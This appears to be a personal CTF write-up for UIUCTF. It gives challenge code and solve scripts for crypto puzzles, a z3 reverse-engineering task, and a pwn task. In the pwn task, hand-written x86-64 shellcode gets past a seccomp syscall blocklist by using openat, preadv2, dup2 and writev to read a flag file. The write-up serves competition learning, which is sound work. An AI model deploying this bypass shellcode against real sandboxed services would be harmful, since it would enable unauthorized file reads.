Incidentally saw the game last night. Despite only few hours remaining, still played some easy challenges to kill time.
Crypto
Groups
Description
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from random import randint
from math import gcd, log
import time
from Crypto.Util.number import *
def check(n, iterations=50):
if isPrime(n):
return False
i = 0
while i < iterations:
a = randint(2, n - 1)
if gcd(a, n) == 1:
i += 1
if pow(a, n - 1, n) != 1:
return False
return True
def generate_challenge(c):
a = randint(2, c - 1)
while gcd(a, c) != 1:
a = randint(2, c - 1)
k = randint(2, c - 1)
return (a, pow(a, k, c))
def get_flag():
with open('flag.txt', 'r') as f:
return f.read()
if __name__ == '__main__':
c = int(input('c = '))
if log(c, 2) < 512:
print(f'c must be least 512 bits large.')
elif not check(c):
print(f'No cheating!')
else:
a, b = generate_challenge(c)
print(f'a = {a}')
print(f'a^k = {b} (mod c)')
k = int(input('k = '))
if pow(a, k, c) == b:
print(get_flag())
else:
print('Wrong k')
Solution
The challenge involves solving a DLP instance on a carmichael number over $2^{512}$. To calculate discrete log efficiently, the modular $c$ should be consist of many small primes such that we can use the Pohlig–Hellman algorithm to combine the solutions in each prime factors.
To find such a carmichael number, experienced players may think of seeking for a out-of-the-box solution on the well known site OEIS. With a little OSINT, we can find a formula named Extended Chernick’s Carmichael numbers on their wiki about carmichael numbers:
\[M_k(m) = (6m+1) (12m+1) \prod_{i=1}^{k-2} (9 \sdot 2^i m+1),\quad k \ge 3\]A little calculation showed that, to make the problem solvable in competition time with limited computation resources, $k$ should be no less than 11(or at least 10). However, finding a $m$ satisfying $k=11$ just by bruteforce also requires unacceptable computation resources, which can be verified by trivial attempts.
The breakthrough occurs when doing OSINT on the name Extended Chernick’s Carmichael numbers. You will find another OEIS sequence A318646 which is not listed in the cross-references of A002997 nor in the OEIS wiki(actually, it was found in another wiki). This sequence provides the least $m$ with satisfied the condition in the above formula. Using the biggest value of $m$ on the page ($31023586121600$), you can get a carmichael number just a “little” greater than $2^{512}$ with 11 prime factors. Its maximum prime factor is about $2^{57}$, still solvable.
The rest is just standard DLP template using Sagemath
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/sage
n = 25146460461623166913490810823197266974843794278877515084905712445246121858131556222638844737348348326802623652186762883978066753427481665955853173368561245789586498697625601
from pwn import *
p = remote('groups.chal.uiuc.tf', 1337, ssl=True)
p.sendlineafter(b'c = ', str(n).encode())
p.recvuntil(b'a = ')
a = int(p.recvline().decode().strip())
p.recvuntil(b'a^k = ')
b = int(p.recvline().decode().strip().replace(' (mod c)', ''))
k = Zmod(n)(b).log(a)
p.sendlineafter(b'k = ', str(k).encode())
p.interactive()
Naptime
Description
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/sage
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
import numpy as np
def get_b(n):
b = []
b.append(randint(2**(n-1), 2**n))
for i in range(n - 1):
lb = sum(b)
found = False
while not found:
num = randint(max(2**(n + i), lb + 1), 2**(n + i + 1))
if num > lb:
found = True
b.append(num)
return b
def get_MW(b):
lb = sum(b)
M = randint(lb + 1, 2*lb)
W = getPrime(int(1.5*len(b)))
return M, W
def get_a(b, M, W):
a_ = []
for num in b:
a_.append(num * W % M)
pi = np.random.permutation(list(i for i in range(len(b)))).tolist()
a = [a_[pi[i]] for i in range(len(b))]
return a, pi
def enc(flag, a, n):
bitstrings = []
for c in flag:
# c -> int -> 8-bit binary string
bitstrings.append(bin(ord(c))[2:].zfill(8))
ct = []
for bits in bitstrings:
curr = 0
for i, b in enumerate(bits):
if b == "1":
curr += a[i]
ct.append(curr)
return ct
def dec(ct, a, b, pi, M, W, n):
# construct inverse permuation to pi
pii = np.argsort(pi).tolist()
m = ""
U = pow(W, -1, M)
ct = [c * U % M for c in ct]
for c in ct:
# find b_pi(j)
diff = 0
bits = ["0" for _ in range(n)]
for i in reversed(range(n)):
if c - diff > sum(b[:i]):
diff += b[i]
bits[pii[i]] = "1"
# convert bits to character
m += chr(int("".join(bits), base=2))
return m
def main():
flag = 'uiuctf{I_DID_NOT_LEAVE_THE_FLAG_THIS_TIME}'
# generate cryptosystem
n = 8
b = get_b(n)
M, W = get_MW(b)
a, pi = get_a(b, M, W)
# encrypt
ct = enc(flag, a, n)
# public information
print(f"{a = }")
print(f"{ct = }")
# decrypt
res = dec(ct, a, b, pi, M, W, n)
if __name__ == "__main__":
main()
Solution
The challenge was given with the filename enc_dist.sage
, but it didn’t use any Sage syntax. Experienced players may think that the solution requires to run in Sagemath
environment, and indeed.
Either by asking AI or a solid crypto basis, we can know that this is a variant of the Merkle–Hellman knapsack cryptosystem, which is already cracked. Just use any working exploit on the Internet to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/sage
a = [66128, 61158, 36912, 65196, 15611, 45292, 84119, 65338]
CT = [273896, 179019, 273896, 247527, 208558, 227481, 328334, 179019, 336714, 292819, 102108, 208558, 336714, 312723, 158973, 208700, 208700, 163266, 244215, 336714, 312723, 102108, 336714, 142107, 336714, 167446, 251565, 227481, 296857, 336714, 208558, 113681, 251565, 336714, 227481, 158973, 147400, 292819, 289507]
# adapted from https://lazzzaro.github.io/2020/05/13/crypto-%E5%85%B6%E4%BB%96%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/
from sage.all import *
for i in CT:
pk = a[:]
ct = i
n = len(pk)
# Sanity check for application of low density attack
d = n / log(max(pk), 2)
# print(CDF(d))
assert CDF(d) < 0.9408
M = Matrix.identity(n) * 2
last_row = [1 for x in pk]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)
last_col = pk[:]
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)
M = M.stack(M_last_row)
M = M.augment(M_last_col)
X = M.BKZ()
sol = []
for i in range(n + 1):
testrow = X.row(i).list()[:-1]
if set(testrow).issubset([-1, 1]):
for v in testrow:
if v == 1:
sol.append(0)
elif v == -1:
sol.append(1)
break
s = sol
print(chr(int(''.join(map(str,s)),2)),end='')
Without a Trace
Description
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import numpy as np
from Crypto.Util.number import bytes_to_long
from itertools import permutations
from SECRET import FLAG
def inputs():
print("[WAT] Define diag(u1, u2, u3. u4, u5)")
M = [
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
]
for i in range(5):
try:
M[i][i] = int(input(f"[WAT] u{i + 1} = "))
except:
return None
return M
def handler(signum, frame):
raise Exception("[WAT] You're trying too hard, try something simpler")
def check(M):
def sign(sigma):
l = 0
for i in range(5):
for j in range(i + 1, 5):
if sigma[i] > sigma[j]:
l += 1
return (-1)**l
res = 0
for sigma in permutations([0, 1, 2, 3, 4]):
curr = 1
for i in range(5):
curr *= M[sigma[i]][i]
res += sign(sigma) * curr
return res
def fun(M):
f = [
bytes_to_long(bytes(FLAG[5 * i:5 * (i + 1)], 'utf-8'))
for i in range(5)
]
F = [
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
]
for i in range(5):
F[i][i] = f[i]
try:
R = np.matmul(F, M)
return np.trace(R)
except:
print("[WAT] You're trying too hard, try something simpler")
return None
def main():
print("[WAT] Welcome")
M = inputs()
if M is None:
print("[WAT] You tried something weird...")
return
elif check(M) == 0:
print("[WAT] It's not going to be that easy...")
return
res = fun(M)
if res == None:
print("[WAT] You tried something weird...")
return
print(f"[WAT] Have fun: {res}")
if __name__ == "__main__":
main()
Solution
Similar to the knapsack, use a superincreasing sequence to represent the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = remote('without-a-trace.chal.uiuc.tf', 1337, ssl=True)
for i in range(5):
p.sendlineafter(b' = ', str(256**(5 * i)).encode())
p.recvuntil(b'Have fun:')
res = int(p.recvline().decode().strip())
p.close()
f = []
while res:
f.append(res % (256**5))
res //= 256**5
print(b''.join(map(lambda i: i.to_bytes(5), f)).decode())
It can also be seemed as a ${256}^5$ base encoding.
Determined
Description
gen.py
:
1
2
3
4
5
6
7
8
9
10
from SECRET import FLAG, p, q, r
from Crypto.Util.number import bytes_to_long
n = p * q
e = 65535
m = bytes_to_long(FLAG)
c = pow(m, e, n)
# printed to gen.txt
print(f"{n = }")
print(f"{e = }")
print(f"{c = }")
server.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from Crypto.Util.number import bytes_to_long, long_to_bytes
from itertools import permutations
from SECRET import FLAG, p, q, r
def inputs():
print("[DET] First things first, gimme some numbers:")
M = [
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
[0, 0, 0, 0, 0],
]
try:
M[0][0] = p
M[0][2] = int(input("[DET] M[0][2] = "))
M[0][4] = int(input("[DET] M[0][4] = "))
M[1][1] = int(input("[DET] M[1][1] = "))
M[1][3] = int(input("[DET] M[1][3] = "))
M[2][0] = int(input("[DET] M[2][0] = "))
M[2][2] = int(input("[DET] M[2][2] = "))
M[2][4] = int(input("[DET] M[2][4] = "))
M[3][1] = q
M[3][3] = r
M[4][0] = int(input("[DET] M[4][0] = "))
M[4][2] = int(input("[DET] M[4][2] = "))
except:
return None
return M
def handler(signum, frame):
raise Exception("[DET] You're trying too hard, try something simpler")
def fun(M):
def sign(sigma):
l = 0
for i in range(5):
for j in range(i + 1, 5):
if sigma[i] > sigma[j]:
l += 1
return (-1)**l
res = 0
for sigma in permutations([0,1,2,3,4]):
curr = 1
for i in range(5):
curr *= M[sigma[i]][i]
res += sign(sigma) * curr
return res
def main():
print("[DET] Welcome")
M = inputs()
if M is None:
print("[DET] You tried something weird...")
return
res = fun(M)
print(f"[DET] Have fun: {res}")
if __name__ == "__main__":
main()
Solution
Pure math. Recover either $p$ or $q$ from manipulating the entities in the matrix by letting the pre-computed determinant become a simple equation of the unknown. Then do textbook RSA to recover the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
f = [-1, 0, 0, 1, 0, 0, 1, 1, 0]
n = 158794636700752922781275926476194117856757725604680390949164778150869764326023702391967976086363365534718230514141547968577753309521188288428236024251993839560087229636799779157903650823700424848036276986652311165197569877428810358366358203174595667453056843209344115949077094799081260298678936223331932826351
e = 65535
c = 72186625991702159773441286864850566837138114624570350089877959520356759693054091827950124758916323653021925443200239303328819702117245200182521971965172749321771266746783797202515535351816124885833031875091162736190721470393029924557370228547165074694258453101355875242872797209141366404264775972151904835111
p = remote('determined.chal.uiuc.tf', 1337, ssl=True)
for i in f:
p.sendlineafter(b' = ', str(i).encode())
p.recvuntil(b'Have fun: ')
res = int(p.recvline().decode().strip())
p.close()
q = res
assert (n % q == 0)
p = n // q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = m.to_bytes(100).strip(b'\0')
print(flag.decode())
X Marked the Spot
Description
1
2
3
4
5
6
7
8
9
10
from itertools import cycle
flag = b"uiuctf{????????????????????????????????????????}"
# len(flag) = 48
key = b"????????"
# len(key) = 8
ct = bytes(x ^ y for x, y in zip(flag, cycle(key)))
with open("ct", "wb") as ct_file:
ct_file.write(ct)
Solution
Too simple that I just use AI to generate the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Generated by AI
from itertools import cycle
# Given encrypted text (ct)
with open("ct", "rb") as ct_file:
ct = ct_file.read()
# Known prefix and suffix
prefix = b"uiuctf{"
suffix = b"}"
# Length of the key
key_length = 8
# Function to find the key
def find_key(ct, prefix, suffix, key_length):
key = bytearray(key_length)
for i in range(len(prefix)):
key[i % key_length] = ct[i] ^ prefix[i]
for i in range(len(suffix)):
key[-(i+1) % key_length] = ct[-(i + 1)] ^ suffix[i]
return bytes(key)
# Find the key
key = find_key(ct, prefix, suffix, key_length)
# Decrypt the flag
flag = bytes(x ^ y for x, y in zip(ct, cycle(key)))
print(flag.decode())
Reverse
Summarize
Description
After asking every function to the AI, you can get such a decompiled code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
_BOOL8 __fastcall check(unsigned int a, unsigned int b, unsigned int c, unsigned int d, unsigned int e, unsigned int f)
{
unsigned int v7; // eax
int v8; // ebx
unsigned int v9; // eax
unsigned int v10; // ebx
unsigned int v11; // eax
unsigned int v12; // eax
unsigned int v18; // [rsp+20h] [rbp-30h]
unsigned int v19; // [rsp+24h] [rbp-2Ch]
unsigned int v20; // [rsp+28h] [rbp-28h]
unsigned int v21; // [rsp+2Ch] [rbp-24h]
unsigned int v22; // [rsp+30h] [rbp-20h]
unsigned int v23; // [rsp+34h] [rbp-1Ch]
unsigned int v24; // [rsp+38h] [rbp-18h]
unsigned int v25; // [rsp+3Ch] [rbp-14h]
if ( a <= 0x5F5E100 || b <= 0x5F5E100 || c <= 0x5F5E100 || d <= 0x5F5E100 || e <= 0x5F5E100 || f <= 0x5F5E100 )
return 0LL;
if ( a > 0x3B9AC9FF || b > 0x3B9AC9FF || c > 0x3B9AC9FF || d > 0x3B9AC9FF || e > 0x3B9AC9FF || f > 0x3B9AC9FF )
return 0LL;
v7 = sub(a, b);
v18 = add(v7, c) % 0x10AE961;
v19 = add(a, b) % 0x1093A1D;
v8 = mul(2u, b);
v9 = mul(3u, a);
v10 = sub(v9, v8);
v20 = v10 % xor(a, d);
v11 = add(c, a);
v21 = and(b, v11) % 0x6E22;
v22 = add(b, d) % a;
v12 = add(d, f);
v23 = xor(c, v12) % 0x1CE628;
v24 = sub(e, f) % 0x1172502;
v25 = add(e, f) % 0x2E16F83;
return v18 == 4139449
&& v19 == 9166034
&& v20 == 556569677
&& v21 == 12734
&& v22 == 540591164
&& v23 == 1279714
&& v24 == 17026895
&& v25 == 23769303;
}
Solution
Similarly, just ask AI to use z3-solver
to write a solve script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from z3 import *
# Define the variables
a, b, c, d, e, f = [BitVec(i,32) for i in 'a b c d e f'.split()]
# Define the solver
solver = Solver()
# Add the constraints from the C code
solver.add(a > 0x5F5E100)
solver.add(b > 0x5F5E100)
solver.add(c > 0x5F5E100)
solver.add(d > 0x5F5E100)
solver.add(e > 0x5F5E100)
solver.add(f > 0x5F5E100)
solver.add(a <= 0x3B9AC9FF)
solver.add(b <= 0x3B9AC9FF)
solver.add(c <= 0x3B9AC9FF)
solver.add(d <= 0x3B9AC9FF)
solver.add(e <= 0x3B9AC9FF)
solver.add(f <= 0x3B9AC9FF)
# Define the operations
v7 = a - b
v18 = (v7 + c) % 0x10AE961
v19 = (a + b) % 0x1093A1D
v8 = 2 * b
v9 = 3 * a
v10 = v9 - v8
v20 = v10 % (a ^ d)
v11 = c + a
v21 = (b & v11) % 0x6E22
v22 = (b + d) % a
v12 = d + f
v23 = (c ^ v12) % 0x1CE628
v24 = (e - f) % 0x1172502
v25 = (e + f) % 0x2E16F83
# Add the final constraints
solver.add(v18 == 4139449)
solver.add(v19 == 9166034)
solver.add(v20 == 556569677)
solver.add(v21 == 12734)
solver.add(v22 == 540591164)
solver.add(v23 == 1279714)
solver.add(v24 == 17026895)
solver.add(v25 == 23769303)
# Check if the constraints are satisfiable
if solver.check() == sat:
model = solver.model()
print(f"{model[a].as_long()}")
print(f"{model[b].as_long()}")
print(f"{model[c].as_long()}")
print(f"{model[d].as_long()}")
print(f"{model[e].as_long()}")
print(f"{model[f].as_long()}")
else:
print("No solution found")
Small modification may be needed to make the script working according to the LLM agent you use. You can also try feeding the error back to the AI again.
Pwn
Syscalls
Description
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
char *__fastcall sub_1280(char *a1)
{
puts(
"The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.");
return fgets(a1, 176, stdin);
}
__int64 sub_12DB()
{
__int16 v1; // [rsp+10h] [rbp-E0h] BYREF
__int64 *v2; // [rsp+18h] [rbp-D8h]
__int64 v3[26]; // [rsp+20h] [rbp-D0h] BYREF
v3[25] = __readfsqword(0x28u);
v3[0] = 0x400000020LL;
v3[1] = 0xC000003E16000015LL;
v3[2] = 32LL;
v3[3] = 0x4000000001000035LL;
v3[4] = -3976200171LL;
v3[5] = 1179669LL;
v3[6] = 0x100110015LL;
v3[7] = 0x200100015LL;
v3[8] = 0x11000F0015LL;
v3[9] = 0x13000E0015LL;
v3[10] = 0x28000D0015LL;
v3[11] = 0x39000C0015LL;
v3[12] = 0x3B000B0015LL;
v3[13] = 0x113000A0015LL;
v3[14] = 0x12700090015LL;
v3[15] = 0x12800080015LL;
v3[16] = 0x14200070015LL;
v3[17] = 0x1405000015LL;
v3[18] = 0x1400000020LL;
v3[19] = 196645LL;
v3[20] = 50331669LL;
v3[21] = 0x1000000020LL;
v3[22] = 0x3E801000025LL;
v3[23] = 0x7FFF000000000006LL;
v3[24] = 6LL;
v1 = 25;
v2 = v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
return (unsigned int)prctl(22, 2LL, &v1);
}
__int64 __fastcall sub_12BA(__int64 (*a1)(void))
{
return a1();
}
unsigned __int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[184]; // [rsp+0h] [rbp-C0h] BYREF
unsigned __int64 v5; // [rsp+B8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
sub_1280(v4);
sub_12DB();
sub_12BA(v4);
return v5 - __readfsqword(0x28u);
}
Solution
From the decompiled code we can see it’s just a shellcode challenge with seccomp BPF filter. Using the tool seccomp-tools
to dump the rules:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024
0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024
0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024
0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024
0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024
0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024
0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024
0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024
0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024
0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024
0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024
0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024
0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023
0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen)
0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023
0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024
0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
To get the flag, the normal way is trying to get together ORW(open, read, write). We can use openat
to replace open
, preadv2
to replace read
and writev
to replace write
.
Notice the constrain on writev
tells us we couldn’t directly use 1
(STDOUT
) as the fd
for writev
. Instead, we use a dup2
syscall, which is not banned, to copy STDOUT
to a high fd
greater than 0x3e8(1000) to bypass it.
The first part of the shellcode was generated with shellcraft.amd64.openat(-100,'flag.txt',0,0)
and the rest was under the help of AI.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
section .text
global _start
_start:
sub rsp, 0x100
push 1
dec byte [rsp]
mov rax, 0x7478742e67616c66
push rax
mov rsi, rsp
push -0x64
pop rdi
xor edx, edx
xor eax, eax
mov ax, 0x101
xor r10, r10
syscall
mov ebx, eax
lea rdi, [rsp]
mov esi, 0x100
mov [rsp + 0x100], rdi
mov [rsp + 0x108], esi
mov eax, 327
mov edi, ebx
lea rsi, [rsp + 0x100]
mov rdx, 1
xor r10, r10
xor r8, r8
syscall
mov eax, 33
mov edi, 1
mov esi, 1001
syscall
mov eax, 20
mov edi, 1001
lea rsi, [rsp+0x100]
mov rdx, 1
xor r8, r8
xor r9, r9
syscall
mov eax, 60
xor edi, edi
syscall